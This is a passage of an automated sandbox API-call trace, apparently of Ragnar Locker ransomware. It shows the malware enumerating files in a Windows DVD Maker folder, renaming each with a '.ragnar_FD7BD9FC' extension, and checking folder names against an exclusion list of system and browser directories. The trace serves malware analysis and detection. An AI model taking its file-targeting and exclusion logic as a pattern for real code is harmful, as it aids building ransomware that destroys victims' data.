returned="Passport_PAL.wmv" [0079.349] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv") returned=".wmv" [0079.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.349] CloseHandle (hObject=0xffffffff) returned 0 [0079.349] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" [0079.349] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.ragnar_FD7BD9FC" [0079.349] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.349] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0079.349] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.349] lstrcpyW (in: lpString1=0x1eab56, lpString2="play-background.png" | out: lpString1="play-background.png") returned="play-background.png" [0079.349] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png") returned=".png" [0079.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.350] CloseHandle (hObject=0xffffffff) returned 0 [0079.350] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" [0079.350] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.ragnar_FD7BD9FC" [0079.350] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.350] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81864e20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81864e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.350] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.350] lstrcpyW (in: lpString1=0x1eab56, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.350] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.350] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.350] lstrcpyW (in: lpString1=0x1eab56, lpString2="selection_subpicture.png" | out: lpString1="selection_subpicture.png") returned="selection_subpicture.png" [0079.350] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png") returned=".png" [0079.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.350] CloseHandle (hObject=0xffffffff) returned 0 [0079.350] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" [0079.350] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.ragnar_FD7BD9FC" [0079.350] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.350] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0079.351] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.351] lstrcpyW (in: lpString1=0x1eab56, lpString2="travel.png" | out: lpString1="travel.png") returned="travel.png" [0079.351] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png") returned=".png" [0079.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.352] CloseHandle (hObject=0xffffffff) returned 0 [0079.352] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" [0079.352] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.ragnar_FD7BD9FC" [0079.352] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.352] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0079.352] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.352] lstrcpyW (in: lpString1=0x1eab56, lpString2="TravelIntroToMain.wmv" | out: lpString1="TravelIntroToMain.wmv") returned="TravelIntroToMain.wmv" [0079.352] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv") returned=".wmv" [0079.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.352] CloseHandle (hObject=0xffffffff) returned 0 [0079.352] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" [0079.352] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.ragnar_FD7BD9FC" [0079.352] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.352] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0079.352] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.352] lstrcpyW (in: lpString1=0x1eab56, lpString2="TravelIntroToMainMask.wmv" | out: lpString1="TravelIntroToMainMask.wmv") returned="TravelIntroToMainMask.wmv" [0079.353] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv") returned=".wmv" [0079.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.353] CloseHandle (hObject=0xffffffff) returned 0 [0079.353] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" [0079.353] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.ragnar_FD7BD9FC" [0079.353] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.353] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0079.353] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.353] lstrcpyW (in: lpString1=0x1eab56, lpString2="TravelIntroToMainMask_PAL.wmv" | out: lpString1="TravelIntroToMainMask_PAL.wmv") returned="TravelIntroToMainMask_PAL.wmv" [0079.353] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv") returned=".wmv" [0079.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.353] CloseHandle (hObject=0xffffffff) returned 0 [0079.353] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" [0079.354] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.ragnar_FD7BD9FC" [0079.354] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.354] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0079.354] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.354] lstrcpyW (in: lpString1=0x1eab56, lpString2="TravelIntroToMain_PAL.wmv" | out: lpString1="TravelIntroToMain_PAL.wmv") returned="TravelIntroToMain_PAL.wmv" [0079.354] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv") returned=".wmv" [0079.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.355] CloseHandle (hObject=0xffffffff) returned 0 [0079.355] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" [0079.355] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.ragnar_FD7BD9FC" [0079.355] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.355] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0079.355] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.355] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2=".") returned 1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="..") returned 1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="Windows") returned -1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="Windows.old") returned -1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="Tor browser") returned 1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="Internet Explorer") returned 1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="Google") returned 1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="Opera") returned 1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="Opera Software") returned 1 [0079.355] lstrcmpiW (lpString1="VideoWall", lpString2="Mozilla") returned 1 [0079.356] lstrcmpiW (lpString1="VideoWall", lpString2="Mozilla Firefox") returned 1 [0079.356] lstrcmpiW (lpString1="VideoWall", lpString2="$Recycle.Bin") returned 1 [0079.356] lstrcmpiW (lpString1="VideoWall", lpString2="ProgramData") returned 1 [0079.356] lstrcmpiW (lpString1="VideoWall", lpString2="All Users") returned 1 [0079.356] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.356] lstrcpyW (in: lpString1=0x1eb620, lpString2="VideoWall" | out: lpString1="VideoWall") returned="VideoWall" [0079.356] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\" [0079.356] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\" | out: 